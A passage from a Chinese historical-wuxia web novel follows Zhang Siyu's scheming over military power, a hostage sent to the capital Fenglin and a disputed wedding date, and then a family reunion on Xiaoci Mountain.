黄豆大的汗珠自额间冒出。
姚远舟心骤骤跳着,张司宇果是投机,他明明清楚,只要顺应自己的提议,张天作便暂得不到任何兵力,于他有利。竟还不忘端起白陵上将的架子,要自己奏表上报于他,以示上下尊卑。但此刻若不按照他的要求做,不仅将寒了麾下众将的心,还会开罪于陵侯夫人。
不甘道,“末将遵命,不日即上表书,还请上将明辨利弊,三思而行。”
张司宇微微点了点头,睥视着一堂武将,适才众人一齐俯首跪拜的场景,使得他暗自决心道,终有一日,尔等必将受命于我。
再日一早,张司宇送走林兮和他的百人队后,驰白马河川回往白陵都城。
二月的白陵,严冬虽褪,但空气仍是冷凛凛的,平川镇郊外亦是白茫茫一片。
在寒风中呼啸匆匆,河川过处雪泥飞溅,入白陵都城后,张司宇直驱廷尉衙门,命严固彻查百人队名册,尤是他标注过的人,必须查得透底、查得详尽。
三日后,姚重九及众边军将领带着随行亲兵各回驻地。
肖垂守卫白陵都城以北的凉、廊二州,按理是无令不得擅自入城的,故到白陵城外时,只绕城而走。
北行之路茫野漫漫,一排排挂满霜雪的银树,一层层巍峨的雪峰,皓然一色。侧方忽传箭镝之响,肖垂平仰而下,后脊紧贴在马背上,一支快箭从视空上方划过,十几名亲卫陡然警惕起,围站成圈。个个神情紧张,把手中武器握得紧紧的,唯正中的那位白发老者,面色凛凛,朝林子盯去。
再无暗箭射出,肖大成迅即提了提缰绳,转头奔往雪林,对着适才飞出羽箭的方向喝了声,“大胆!肖将军在此,何人胆敢施放暗箭。”
那排银素的树间,走出一银衫人影,手挽着张弓,说道,“肖大成,你来的正好。我的羽箭用尽了,快给送些来。”
肖大成见到那男子,赶忙上前行礼,“末将见过上将,末将这就去取。”随后翻身上马,调过马头,朝着肖垂方向驰去。
肖垂看着只身而来的张司宇,神色虽坚,心中却是不定,似乎在权衡着不同的选择。
肖大成的骑影愈发近了,肖垂的目光却渐渐动摇了。
肖大成停在一兵卫旁,伸出手吩咐道,“箭筒给我。”那名兵士应声做起解箭筒的姿势,待解下后,双手奉于肖大成,正要接过时,却被一只满布深皱的苍手拿走箭筒,“本将去送,你等在此候命。”
肖垂拨马上前,一阵缓蹄,不疾不徐地向雪林而去。
张司宇端色正视着渐近的老者,好像看到在自己远近纵横的棋局上,一颗处于敌中腹地的孤子,即将连活成势。
张司宇接过抛来的箭筒,刷地立在厚雪间,抽出一根羽箭,搭在弯弓上,嗖地朝一树射去,树间惊起一片麻雀,一只麻雀中箭下落之际,又连送三箭,飞箭有如生了眼般,每支都穿着一只麻雀。
张司宇正色道,“多谢肖老英雄补续羽箭,让我今日不至空手而归。”
肖垂眯着眼打量着暖阳下的张司宇,即使在夕光日下,也觉眼前男子深思多谋,毫不见同龄人洒脱飒爽、意气风发的模样。
平川晚宴的一言一语,虽是对着姚氏父子讲出的,却好像都在是游说他说,待自己解甲后,姚远舟必会将肖营兵马尽数收为己用。
肖垂眼角抽了抽,语气夹杂着一丝无奈,“上将,真没想到,兵营里第一个被你找上的,会是我。”
张司宇并未作声,仍是搭箭挽弓,瞄着雪间一枯草堆。
肖垂的目光停留在张司宇身上,直目沉沉地看着等自己来投的张司宇,好奇他会开出什么自以为是的诱惑?
可越看,越是深惋,张司宇拉弓架把的姿势,体态矫健,像极一位叱咤沙场、英勇无畏的少年将军。纵不入行伍,转身江湖,凭他高超的武艺,亦能成为名誉天下的侠士。怎奈这样一天骄之子,却偏盯着白陵君侯的高位不放。
嗖地一声,羽箭飞向枯草丛,穿透一山鸡红脑,箭头还滴着淋淋鲜血,那野鸡两爪还挣扎着,可惜,再无力迈出步子了。
张司宇回头转向肖垂,嘴边挂着笑,以一副极为睥傲的口吻批判道,“后面尽是白茫,它如不一直躲在那处枯草后,恐我也发现不了它。”
肖垂往后挪了两步,用着苍老的声音拱手道,“上将错爱,肖某一介行伍,无谋局之能。若因调兵之事就要老夫倒戈,恐要令上将失望了。”
张司宇将弓挎到背后,拎起箭
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筒还予肖垂,视着远后皑皑雪岭,脸上浮现一丝谦卑的得意,“我向来敬佩肖老英雄为人,只是如今时势不同了。”
肖垂义正言辞说道,“任外面怎么变,我肖垂不会变。”
张司宇侧过身去,平静道,“肖老英雄大半辈子在马上过活,自是什么风浪都见过的,何必如此固步?”
肖垂年迈却并未混浊的瞳孔中,搅动着复杂的情绪,有着老兵迟暮的疲惫,有着心余力绌的哀愤,还有着一丝有无奈,唯独没有趋炎的谄腴。
他惨然一笑,深深吸了一口气,“老夫一生戎马,肚子里墨水虽不多,但忠心二字怎么写还是知道的。临了临了,又何必让自己落得个晚节不保?”
张司宇反手叉腰,面露敬色,慨然道,“衍光四年,燕山三营奇袭洛川城,定州守备肖垂率三千守城之士前去支援,与燕山铁屠、锦川、霞飞三路兵马斡旋七日,待援兵到时,又披旌上阵,将燕山铁屠全营剿灭。随后,追寇千里,为白陵拿下无崖、孤山二城,将白陵军旗插在燕山境地,大耀我白陵军威。”
那双深陷的眼睛,深邃明亮,正散着铄火般的光芒。那是张家得到冲云枪后发生的事,齐家失枪后,那股子不甘,想着去白陵边境掠几座城池泄愤。不想却令当时身为定州守备的他,一战成名,连升了三级,直接被当时的白陵君侯,张云盈之父张挥,擢为参将。
那场酣战过后,本以为自己将会一路平云,却不想,在最近巅峰的一步,被姚远舟捷足先行。北军统将之上,再无空位,看着鸿沟对边那位年轻的姚都督,他知道,这一步是很难再进了。
张司宇毫不在意他的目光,反而冷声酷酷道,“肖老英雄一生碧血丹心,我相信落在史官笔下,即便寥寥数笔,也必是荡气回肠。只是可惜了,老英雄之后,六世忠烈的肖家,不知何人来承您的衣钵?”
肖垂的心底沉了一下,姚远舟的儿子更为年少,皆是一军统将,而肖大成已过不惑之年,仍是自己麾下的一员参将。
本也不打紧,待自己告老卸甲后,自己手下的肖家兵,至少也能留下半数给到他。但此次平川一行,姚远舟显然已对肖家兵动了心思。肖垂坦然道,“我与姚都督,戎马相伴了大半辈子,军中情谊,不是三言两语就疏远得开的。”
张司宇淡淡一笑,微微欠身,说道,“如此,司宇先行告退了。”随后,长哨一声,一匹雪龙骏不知从何处奔来,还未停稳四蹄,张司宇已跃上马去,睥睨着肖垂苍老的眼眸,“临行前,司宇想问您个问题,您也不必即刻答我,等什么时候想通了,再回我也不迟。肖将军的两万兵马,比之肖家的两万兵马,孰轻?孰重?”说后嘴间又是淡淡一笑,纵马飞驰而去。
肖垂就在原地,目送着张司宇,他疾去的骑身,满眼都是自己当年追行锦川营与霞飞营的影子,踏马平川,肆意凛然。那时的他,和眼前的张司宇一样年纪,一样有着无限可期的未来。
肖垂默默沉吟一声,“君侯啊,你云游数年,我真不知该不该盼着你快些回来。若是看到自己从小偏爱的孩子成了这副模样,该是多么寒心……唉,可惜了他这一身的好武艺。”
62. 破沉舟易水生歌
正午的冬阳晒得草饲发出酥脆的轻响,连带那飞扬的尘土,都混着苜蓿的青香。
场北马厩下,楚英靠着木栅晒起太阳,陈雅安则拿着刷子,为白马战神梳理毛皮。
白马战神半眯着眼,嘴唇无意识翕动着,不时发出轻懒又满足的噗气声儿。
马场马夫们的目光被场中一匹鬃毛碧青的骏马吸引了去,马上青年挥手扬鞭,伏低的身姿与奔马几乎融为一体,速度快得惊人。
场边,站着位衣着华丽、珠翠淋漓的妇人。
陵侯夫人,江邑潘家嫡女,白陵君侯正妻,白陵少主生母,无论哪样身份,都衬着她贵不可言的姿貌。人如其名,语笑嫣然,若不是眉梢眼角处的痕纹,哪猜得出,这位妆容精致的妇人,已是快近五十的年岁。
陵侯夫人纵是不懂马,看着爱子在马上洋洋的神情,也断得出张天作对姚家送来的这马极为满意。嘴中不忘叮嘱道,“天作,当心些。”
姚重九将张司宇亲笔批复的公文奉上,再度添油加醋说起半月前派兵一事,丝毫不言几位统将不愿拨出兵力,只道是大家回营后,才选出一万兵马,却被张司宇独断专行,驳了回来。
陵侯夫人看着公文上张司宇写下的“无我者许,尔毋为之”,气得手抖,愤愤道,“张司宇妄敢插手军营之事!”随后反应过来,又道,“重九,姚都督一直与张司宇水火不相干,为何要将调兵之事报予张司宇,听他的意见?”
姚重九按照和几位将领统一好的口径,垂首作礼道,“回夫人话,上将日前突访平川大营,见我等在商量此事,便扬言要我等秉公上奏,交给他处理,不然他,他就……”说着,抬眼向陵侯夫人投出一股被人威胁的不安神色。
陵侯夫人视着姚重九忧虑的目光,闷闷难平,暗暗咬下后唇,用着低不可察的声音怏怏道,“张,司,宇。”
姚重九向马夫们扫去一眼,看他们纷纷退向马厩,继续宽言道,“夫人莫急,父亲说此事须从长计议,待过个三两年肖垂告老还乡,他自会为三公子安排妥当,请夫人放心。”
陵侯夫人道,“重九,今后我们也算一家人了,天作好,就是你们姚家好。”话到此处,便缄了口,只用一股极为深长的神色回应姚重九。
姚重九缓是一笑,娓娓道,“夫人说哪里的话,蒙君侯厚爱,视我父为袍泽兄弟,我们本就是一家人。夫人您看,我这次回都城,父亲还让我带了平川马场最好的马来,送给三公子。”
马厩下,马夫老风凭着充沛的内力,将二人的对话一一转述给楚英和陈雅安,“他还说,放眼白陵,绝无第二处可与姚上元那平川马场相提并论的。”
陈雅安扫了眼白马战神,对马夫老风道,“我们这位姚将军还真是懂得敷衍。”
“是呀,还说无第二处,我看陈大人您这白马,就比今日他送给三公子的那匹好上百倍,好上千倍。”
陈雅安忖了会儿,“风啸,过几日你和雪妖随我去趟凤临。”
“凤临发生什么事了?还要陈大人您亲自跑一趟?”
陈雅安道,“昨儿个凤临来了消息,皇后娘娘上月生了七皇子下来,我带天作去打点一圈。”
风啸愣了下,“皇帝老子少说该有五十了吧?”
楚英道,“是啊,别说是你,我听到都吃了一惊。”
风啸不觉笑了起来,“如今皇帝老子得了这个老来子,真不知道江王还能不能继续做皇帝老子的心疙瘩。”
陈雅安继续道,“还不是他自己求来的?当初他为稳固自己的地位,与吕相联手送吕家长女入宫为后,不想今日,搬起石头砸着自己的脚了。”
楚英认同地颔首道,“张司宇背后的太子,素来与吕相不睦,如今吕相爷手中又多了位皇子,是该打点一下。”
风啸似懂非懂听着朝中形势,“只是,陈大人,老皇帝如今都这般岁数了,即使吕相有意扶持,至少也得等这个老来子长起来才是。”
陈雅安道,“我去凤临,不为别的,只为让那些皇子们瞧瞧清楚,天作和张司宇,究竟谁离白陵的兵权更近一些。”
风啸点了点头,“好,我和雪妖准备一下。”
看着陵侯夫人正给已跳下马来的张天作擦着鬓角,陈雅安拍了拍白马战神眼皮,抚着它的额头告别了几句。
战神用鼻子蹭了蹭他的胳膊,喉咙里发出咕噜的呜声。
陈雅安对白马轻声道,“凤临杂人多,就不带你一起了。”
说后,陈雅安便转过身,朝张天作走去,才迈出步子,身后响起一声短促而沉闷的呼啸。
“陈大人小心!”
陈雅安骤然回头,眼角瞥见一道阴影袭来,身体本能的踉跄闪开。
风啸紧紧拽住猛然蹬出前蹄的战神,笑道,“陈大人,这马是又闹脾气了。”
陈雅安看着四蹄刨地的战神,喝道,“你给我老实在这儿待着,别总惦记着出去惹事生非。”
训过马后,张天作送陵侯夫人回到凌霄阁。
几人将歇着,婢女来报,“夫人,三爷、大公子和少夫人在外求见。”
陈雅安奇怪着,平日姜成绮来得勤,今日吹的什么风,张鹏和张天官也来了。
陵侯夫人道,“玉音,快传三叔进来。”
看张鹏和张天官虽神态如常,但都轻轻抿着唇角,撇着极为细微的弧度,而随他们一同进来的姜成绮更是红着眼圈,眼角处还挂着将落未落的泪珠。
张天作问道,“三叔,大哥,这是怎么了?”
张鹏和张天官互相看着彼此,明明来时路上反复斟酌过用词,可真到了凌霄阁,却像是被人缝住了嘴巴。
陵侯夫人问道,“绮儿,你可是受了什么委屈?”
“伯母,您要为我们做主啊。”姜成绮忽然扑跪下身子,泣声连连道,“午后,二弟突然来找夫君,说,说是要我和夫君去凤临。”
陈雅安冷冷瞟着姜成绮,从得知林兮手下那批百人队的详细名单时,就知道,她已经暴露了。想着与其留她在陵侯夫人身边做狗头军师,不如将这个人交给张司宇处置,给自己省去麻烦。
“凤临?”陵侯夫人吃惊问道。
张天作更为不解,“好端端的,二哥为何要大哥和大嫂去凤临?”
张鹏负气一叹,仍是一副有口难言的样子。
张天官上前,向陵侯夫人恭敬一拜,回道
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,“回伯母的话,二弟说,诸城君侯为表对朝廷的忠心,都要送自家公子过去的,我们白陵张家,也不该例外。”
姜成绮眼泪跟着滚了下来,每个字都像是被泪水浸过般,“他说,要夫君为白陵尽忠。可是,谁看不出,二弟这是要送我们去做人质的啊。”
“这……”陵侯夫人愣住了,看陈雅安一副似全然未闻的模样,知道是近日自己更多是在听姜成绮的主意,总是未与他商量,便做决定,才惹得陈雅安这般漠然。但看着姜成绮哭得梨花带雨,心不落忍,“雅安,你是怎么看的?”
陈雅安仍是噤若寒蝉,仅张天作开口求情道,“雅安,你快给大哥大嫂想想法子。”
陵侯夫人亦催促道,“是啊,雅安,绮儿才刚刚嫁来,你快想想法子,让张司宇收回成命。”
陈雅安沉着嗓音道,“墨白城内,除了大公子,还有哪几人可以去做质子,您和天作该是比谁都清楚的。”
张天作心颤了一下,楚英闻听这话,更是将张天作紧紧护在身后。
张鹏亦能明此理,只道,“大嫂,天作,你们不要为难雅安了。”
张天作道,“可是,白陵已经很久没送质子去过凤临了,二哥为什么要提起此事?”
“天作,你可记得,白陵上一次送质子去凤临是什么时候的事吗?”陈雅安的语气依旧平和,还带着几分询问的意思。
“自然是六年前,那年——”张天作明显停顿住了,忽然意识到什么,“那年,去做质子的人,正是二哥。”
陈雅安道,“那是上上次了,你是忘了自己在江心学宫的三年了吗?”
张天作目中一跳。
陵侯夫人也像是被人扼住咽喉似的,一个字也吐不出。
张鹏道,“大嫂,如果司宇是真心要天官去做质子也就罢了,天官既是张家儿郎,为白陵出力理所应当,只是我,真的不明白,他今日说的那句话是什么意思?”
陵侯夫人问道,“他说什么了?”
张鹏道,“他说,如半个月后,绮儿还在墨白城,他就顾不得许多了。他顾不得什么?难得,绮儿在墨白城里,还碍他眼了不成?”
陵侯夫人一顿。
陈雅安遮掩道,“三爷,您还看不明张司宇这个人吗?他做事,理由总是要有的。”
张鹏道,“司宇的心思,从小就比别人深。我只怕,他是眼看着天作要娶都督千金,心里有火,才将气儿撒到了天官身上。”
陈雅安道,“三爷既然看得明白,自也瞧得出如今的张司宇,不过是强弩之末。不瞒您说,我也有意代少主去凤临敲打敲打太子殿下,让他今后离张司宇远些。不如这样,我去凤临时,为大公子找找门路,看看能不能将大公子安排到江心学宫去。”
姜成绮听到,此先自己费尽心机在陵侯夫人面前邀功、想挤掉的陈雅安,正用着云淡风轻的口吻说出“敲打太子”这样的话,肩膀更是制不住似的抖了起来。
张鹏倒觉这是个折中的法子。
江心学宫在凤临地界,自己又是江心学宫的座师,一年中,不过可回白陵与儿子待上一两个月,如此一来,反而变相增加了他二人父子团圆的时光。
63. 残喘奄息似鲋进涸辙
往后几日,姜成绮虽仍不愿去往凤临为质,数番向陵侯夫人以泪陈情,仍于事无补。可陈雅安反以张天官夫妇离陵之由,催促钦天监尽快为张天作请定婚期。
裴天祐是受张司宇提拔,坐到钦天监正使的位子,测算出的吉日,也自然先报予张司宇过目。张司宇看着那红笺金箔纸上的日子,指尖不自觉地摩挲良久,写过一封书信后,朝屋外道,“应简。”
应简推开摘星阁的门,“上将有何吩咐。”
张司宇推出已上蜡密封的两封信,道,“你带着骠骑营和射声营的人去找林兮。”
应简得令告退。
午后,张天作正带着陈雅安和楚英在张天官处,为他收拾着远去凤临的细软,忽听门处传来了句“我在流云居备了几分薄酒为大哥践行”。
抬头一看,是张司宇突然造访。
张天官看到张司宇嘴角那股说不清道不明的笑弧,后脊一凉,他虽是大哥,但骨子里对这位二弟一向是又敬又怕。
捧着衣物的手倏地顿住,道,“好,好啊。”
张司宇带着融融笑意,走到张天作前,“天作,二哥也正准备到天作之合馆去叫你们仨呢,来,带上楚英和雅安,咱们兄弟五个一齐聚聚。”
楚英听着张司宇话语间的黏腻,嗓子里泛起一股难以言喻的恶心,“少跟我套近乎,谁跟你是兄弟五个?”
张司宇虚虚笑道,“我是四妹的二哥,跟你怎算不得是兄弟了?”
楚英别着嘴角,眉心险些蹙到了一处。
虽嘴上不认,但依照和张之合的婚约,即使自己年长于张司宇,也合该唤他一声二哥。就像张司宇,即使从没有将张天官当兄长对待过,也会对着早他一个月出生的张天官,喊出句“大哥”是一样的道理。
几人出门时,张司宇看陈雅安仍没有迈步的意思,道,“陈大人不一起来吗?”
陈雅安仿佛看到什么不洁物似的,毫不留情道,“为了吃你口酒,吃坏了肚,可是不值。”
但见张司宇晃出张朱红金箔纸,别在两指间,“钦天监拟了几个婚期出来,我们正好一道帮三弟参谋参谋。”
半山腰处的流云居,三间瓦舍素来清静,一时涌进五人,菜盛荤丰,酒好茶新,顿时有了烟火气息。
膳桌上,张天作没顾上吃,可手却没停下来过,一筷子跟着一筷子,不由分说地往邻座张天官碗里送去。
张天官面前那只原本素净的瓷碗,已堆叠得冒出了尖,连忙推拒道,“三弟,够了,够了,我用不了这多的。”
张天作又捡起一筷子鹿筋,压向“山巅”,“大哥,你快再吃些。”
张天官望着眼前不断增高的菜肉小山,持筷的手僵在半空,生怕辜负了三弟的一番美意。却见张司宇放下酒盏,道,“三弟,食不过三,大哥去凤临,又不是做囚犯的,何况他身边还有大嫂照顾着,你还怕他吃不上热乎饭菜吗?”
这话堵得张天官心口发慌,几乎透不过气。
张天作不服气地撂下筷,哼唧了声。
张司宇头也不抬,“宴客在以礼相待,而非以食充人,你若再跟二哥摆脸子,就去祖宗祠堂跪着去。”
楚英拍桌道,“张司宇,你别站着说话不腰疼,质子过的是什么样的日子,你晓得吗?”
张司宇目光一灼,抬头盯向楚英,皮笑肉不笑地自嘲道,“在座,恐怕没有人比我更清楚了吧?”
楚英噎了下,嘴中不让道,“你明知道,还非要送天官大哥去。己所不欲,勿施于人,枉你读了那么多圣贤书,连这么浅显的道理都不明吗?”
张司宇不疾不徐诡笑着道,“我自然是清楚做质子的好处,才不忘推大哥一把。”说着,将手搭到隔座的张天官肩头,“大哥,你想想,司宇当年去凤临前过的是什么日子,再看看如今过的又是什么日子。这做质子究竟是得,还是失,一目了然。”
张天官双唇微颤,“司宇,我听父亲跟我提了,我去凤临,是为张家尽忠,为白陵尽忠,到时你就能以此为名,让我母亲的牌位——”
“这就是了。”张司宇连声接道,“大哥你若能为张家尽忠,为白陵尽忠,自然算是名正言顺的张家人了,婶母的牌位,也自然能进得张家祠堂,享受香火供奉。”
张天官极为甘愿地点起头,毕竟此前,连他都未曾进过张家宗祠祭拜过先人,何谈他那烟花之地出身的生母牌位。
张天作目中却是另一种不忍。
张司宇又道,“可是大哥,这虽是件光荣差事,可别怪司宇没提醒你,凤临的日子,跟白陵可是天差地别,不仅白日里不一样,入了夜后,更是不同。记得我到凤临的头个晚上,就爬进了一屋子的蛇来,我也不知道那些蛇有毒没毒,只两眼一闭,拔腿就跑出了屋去,在外面过了一夜。往后,我就学会了捉鸟雀,你猜是为什么?”
张天官闪着惊色的神情陷入了思考。
张司宇环视众人,扯着声问道,“你们可知道吗?”
楚英道,“难不成你是捉了几只鸟去,给太子献宝,才成了他的走狗?”
张司宇摇着头轻笑了下,一双眼牢牢盯着陈雅安,不放弃似的问道,“陈大人,你知道是为什么吗?”
陈雅安冷冷回道,“我对你的事,一点兴趣都没有。”
“若真是如此,那当初,为何要怂恿他们送我去凤临?”
张司宇重重质问着。
陈雅安用着更沉厉的语气回道,“当年若不是我发善心,送你去凤临,你还回得来吗?”
张司宇目眶抽搐着,不知被酒意激到了,还是被陈雅安的话激到了,眼前的一切景象像是活了似的,自个儿晃起来了。
每一个字,都在他脑海里反复地、清楚地回荡着。
半晌后,张司宇方道,“陈雅安,我没亏待过你吧?”
陈雅安道,“彼此彼此,我也没亏待过你。”
张司宇胸腔内的那颗跳心,猛地向下狠狠一坠,可他吐出的字,也像是裹带着冰针似的,“你还好意思提?当初,你怂恿伯母犯下这欺君大罪时,可有想过吗?白陵张家的清誉,张家的忠君之名,可都被你们这一瞒,连累得彻彻底底。”
“司宇。”张天官紧张地叫住张司宇,而后看了看门处,低声叮嘱道,“你怕是醉糊涂了,我们这儿哪有谁犯过什么欺君大罪?”
张司宇一眼瞋向张天官,气得拍案而起,“糊涂?大哥,你和三叔才是真糊涂了。你可知道,伯母对外瞒下伯父和四妹遇难之事,一旦事发,莫说圣上问责,恐怕,在白陵都不少人要将我们几个撕得粉碎。”
陈雅安道,“至少到现在,没有人发现此
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事,更没有人将你撕得粉碎。但往后,我就不能保证了。”
张司宇未予理会,而是接连视向张天官和张天作,道,“大哥,三弟,你们凭着心论论,当年,我们是该瞒下这件事,还是该接受事实,再择个新主出来?”
张天官一阵惶恐,“司宇,事已至此,已经没有挽回的余地了。”
张天作也道,“是啊,二哥,雅安已经想过了,圣上年事已高,太子又一直和江王相争不下,地位并非十分稳固。到时,我们就一齐拥立江王或是更为年幼的七皇子,有了从龙之功,再道出真相也不迟。”
张司宇敲着桌子斥道,“从龙?天作,你当伯父当年拥立一个新皇,是那么容易的事?”
陈雅安道,“难不成都像你一样,做太子的走狗?还是,再遂了你的心意,迎你出任新的君侯不成?”
张司宇反质道,“为什么不可以是我?论文治,论武功,我哪一点比不得四妹?”
陈雅安冷笑起来,“你觉得呢?”
“我觉得?”张司宇亮出红笺纸,“如今伯父和四妹俱去,这张家,按理,当由我这长兄当家作主了。钦天监拟的日子我都看过了,天作成婚,不仅要大办,我还要为天作修一处新的府邸出来,至少也要一年半载才能完工,天作的婚事,依我看,就定在来年八月十六好了。”
楚英抄来红笺纸,看着上面的吉日,满目盛怒视向陈雅安。
陈雅安扫了一眼,三个日期,不仅皆在来年,张司宇提议的八月十六,还是其中最为久远的。他知道,这是张司宇最后的挣扎,一旦张天作与姚十一成亲,张司宇的春秋大梦,也就是时候该醒了。
流云居突然变得无比安静。
张司宇身子靠依窗沿,目送几人踏上山径离去,寥寥夜色间,他眼前忽然幻出无数光影来。
星幕下,伯父怀抱儿时的他,教授天文星数。
月湖旁,与四妹闲话家常的他,仍不知天高地厚为何物。
他的无能为力,他的无可奈何,都在其中。
“忆往昔,眉间少年,风花雪月见不鲜。此去经年,风雪压肩,夙宵几废,一步三蹒跚。”张司宇目光朦胧而幽深,像在盼看更远处的某个时刻。
转日。
张天作带着陈雅安和楚英,和张鹏一家一同启程凤临,一队神枢营人马随行护卫。
神枢营可在白陵畅行无阻,一旦进入其他地界,虽只有几百人,但也算是一支军队。依照律法,这样的护卫队伍,除去君侯、亲王等一品衔位外的官宦世家,不可过百人。
送走张天作后,张司宇第一时间去了武德司,看到李蒙同霍长飞、许自山皆在校场,脸刷地垮了下来。方才,他们出城时,神枢四将不是跟着一起去凤临了吗?
张天作等人南下,将出白陵时,在三通镇碰到林兮。
林兮说,是张司宇命他在此等候,与几人汇合后,一道去凤临为六皇子送书稿。
陈雅安浅询几句,从林兮口中得知,是应简来传的令。
是的,只有应简一个人。
在陈雅安的记忆中,应简出墨白城时,分明带着骠骑营和射声营,看来,张司宇解决百人队,也是背着林兮、悄声行事的。
林兮没有回到都城,姚都督自还以为他正带着百人队在白陵某处考察地貌。
64. 久别再会将成好事
去岁,田雨萝与轩辕夏离开江心学宫后,先去了江邑,与其师父素娘作别。田雨萝本还忐忑如此离开师门有负师恩,可他二人到江邑后,不仅见素娘在收拾细软家当,屋内还有一位老汉,唤师父为娘子。
田雨萝细询才知,师父终于等回了她的丈夫,二人正准备远遁江湖。与师父告别后,轩辕夏带她回到小次山。
二人在小次山这段时间,日日随梁功长习武,武功颇有进益。甚至,轩辕夏又开口请梁功长教邱怡剑法。
邱怡再未回绝。
自智斗过张司宇后,她也深明自己虽有张家剑法与回龙功傍身,为防被人通过武功推断出自己与白陵的联系,确需练它门剑法,以作应对。
梁承欢见到小次山又来了一位姐姐,欢喜更甚,常与三人随父练剑。
寒意散尽,阳和方起,三月将至,小次山上。
历经半年的调补,梁功长夫人叶婕神采奕奕,身体尽复。在最后一次行完针后,邱怡为其搭脉,嘴角噙出了笑意,说道,“梁夫人,您已无大碍了。”
梁功长将手浮在叶婕腕间,一息四跳,不浮不沉,和缓有力。虬髯上一双剑目瞪着光,拜向邱怡,“邱姑娘,情受老夫一拜。”
邱怡紧拦着,说道,“梁掌门不必多礼,都是晚辈应尽之责。”
叶婕视了梁功长一眼,“夫君,小妹今日差人来问,说她与王爷想明日到小次山来,问问你的意思。”
梁功长神情中并无拒绝之色,“朱阳王爷到了云间都城?”
叶婕颔首,“是啊,小妹说圣上前不久得了七皇子,高兴得不得了。这不,朱阳王特意来接小妹回凤临看看七皇子去。”
邱怡和声问道,“夏先生贵为朱阳王妃,怎到小次山来还要来问过梁掌门的意思?”
叶婕瞟向梁功长,“小妹毕竟是清农医者出身,自然是知功长忌讳的。”
梁功长自责自良,“嫂夫人虽为清农医者,但我如今已是姓梁了,夫人毋需挂怀。”
邱怡眸中闪出幽幽的光,知道梁功长做了许多让步,才云淡风轻地吐出这轻轻一言,“晚辈说句不知天高地厚的话,白陵张家的人,脾性最是倔,倔到就是刀架在脖子上,也未必愿哼出几句话来。如此,更可见梁掌门待夫人情之真,意之切。”
叶婕听到“白陵张家”四字本是揪心,生怕梁功长情触。
可梁功长闻声却是眼前一亮,不由大笑了三声,眼角更是滚出几颗热泪,“邱姑娘惯是懂取笑人的。”
叶婕见夫君非但丝毫不将邱怡的僭越话语放在心上,反是一副释然,心下十分慰怀。
春光暖日,万物复苏。
小次山上,莺飞草长,花光摇曳,春意盎然。
轩辕夏先行下山去接双亲,三人影一并等在小次山门处。梁功长和叶婕自是欣喜得不时张望着上山的路,田雨萝心中却敲起了忐忑的小鼓。
一抹轻烟扬起,蹄音临近,三乘骑影出现在山径拐角处。
轩辕夏前行带路,而后两骑,中年男者穿着身暗红锦纹的华服,身宽魁壮,眉目却是慈祥。一骑影夹在前后二马间,鼻处罩着一面轻纱,妃衫乌瀑,如雪欺梅枝,仿是从画卷中走出的。
梁功长率先迎了去,向轩辕夏父母问候道,“小弟见过王爷,见过王妃。”
轩辕夏跳下马后,还不等他去扶娘亲下马。朱阳王早早一手握牢马鞍头,将手递向马上女子,“夫人,请下马。”
叶婕看着那宛若巫山神女的曼妙身影,眉眼一下绽开了。
梁功长见状,也下俯跪地,将自己做成个“下马石”的模样,“请嫂夫人下马。”
马上女子一时间恍了神,理过云鬓,将一只玉足踏在梁功长背处,一只手搭给朱阳王,探身下马。
叶婕搭过手去,向朱阳王妃道,“妹妹。”后者柳眉一扬,“姐姐。”
朱阳王双手扶起梁功长,“功长兄弟,快快请起。”
田雨萝上前近了几步,“雨萝见过王爷,见过王妃。”
朱阳王夫妇打量起田雨萝,在听儿子说过田雨萝已洗手远离绿林行当后,满意得相视一笑。
朱阳王妃向田雨萝亲切问候道,“女大十八变,我真是越看越欢喜了。”
田雨萝轻轻颔首,“是。”
朱阳王看出姑娘家羞涩,只拈须淡笑。
朱阳王妃又握起田雨萝的手,笑着道,“仔细风大,快随我进屋去。”
朱阳王视着马上褡裢向轩辕夏道,“阿夏,去将褡裢取下。”
一番寒暄,梁功长引着几人进到厅堂,堂内邱怡早已久候,福了一礼,“见过朱阳王,见过夏先生。”
梁承欢瞪足双目,打探起眼前的丽质妇人,一眼瞧见王妃云鬓间的流苏合欢簪,与自己的那支,看着就知是一副。“欢儿见过姨父,见过姨母。”说着,那副桃花大眼还不忘多向朱阳王妃瞟去几眼,即使有袭白纱遮面,只露出一双美目,也不禁臆想,那流盼生辉的眉眼下,当是何样雪貌。
朱阳王视了眼梁承欢,不住赞道,“梁功长,你好福气啊,又养了个这么俏的女儿出来,难怪王妃成日都惦记着她。”
“我们欢儿真是越来越出挑了。”朱阳王妃说着,也将目光落在梁承欢的合欢簪子上。
叶婕上前道,“除了阿夏,恐怕最让妹妹念念不忘的,就是欢儿了,每年不知要给她送多少新奇玩意儿到小次山来。”
朱阳王妃伸过手,轻扶着梁承欢发间的合欢垂珠,“如果姐姐舍得,我倒真想将欢儿当作自己的女儿来养。可惜,我是没这女儿命了。”
梁承欢腼着脸,嘴巴漾着羞涩的笑意。
朱阳王妃待她确实极好,每年生辰时,不仅会派人送上几箱礼物来,还总是表露想接梁承欢到王府小住。梁承欢虽极愿应允,梁功长却担心女儿去到凤临,少不了与皇族中人照面,走漏自己在小次山隐姓埋名的事。
看着梁承欢露出难为情的模样,邱怡圆场道,“怎会没有?田姑娘率性含真,夏先生还担心自己享不到女儿福吗?”
朱阳王妃视了眼正垂下头羞涩的田雨萝,目光又移向邱怡,指尖点着她的鼻头,玩笑道,“你这丫头,就你嘴利。”
梁功长亦是领教过邱怡的口才,放声笑起了,边请人
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入座,边打趣道,“依老夫看,谁生了你这女儿,才真是有福之人。”
“是啊。”叶婕也随着认同道,“这半年来,邱姑娘为我施针侍药,事必躬亲,比欢儿还细心周到。”
邱怡紧张得不敢再出言。半年相处,梁功长与叶婕话里话外都透着要认自己为义女的意思,生怕自己再多出一句,他二人又要强买强卖了。
朱阳王妃自责道,“姐姐病的如此之重,都不派人来告知我。亏我这阵子一直在云间城,真是与我见外了。”
叶婕轻声道,“我这不是已经大好了吗?不信,你来看看。”说着将腕递了去。
朱阳王妃为叶婕搭起脉,脑中闪出一瞬空白来,双目渐渐怔忧。
梁功长见状,询起,“可是内人尚有隐疾未察?”
朱阳王妃目光盯向邱怡,知她不仅用药胆大,还走了偏锋,神不知鬼不觉地绝了叶婕生育之能,不禁吃了一惊。却看邱怡目色沉平,无甚愧意,便未挑明,只缓缓道,“已是大愈了,再服几副调经养血的药调养就好。”
梁功长放下了心,听朱阳王又喊了自己。
“功长,这次我夫妇二人一同来此,是有一不情之请。”
梁功长忙拱手拜礼,“王爷请讲。”
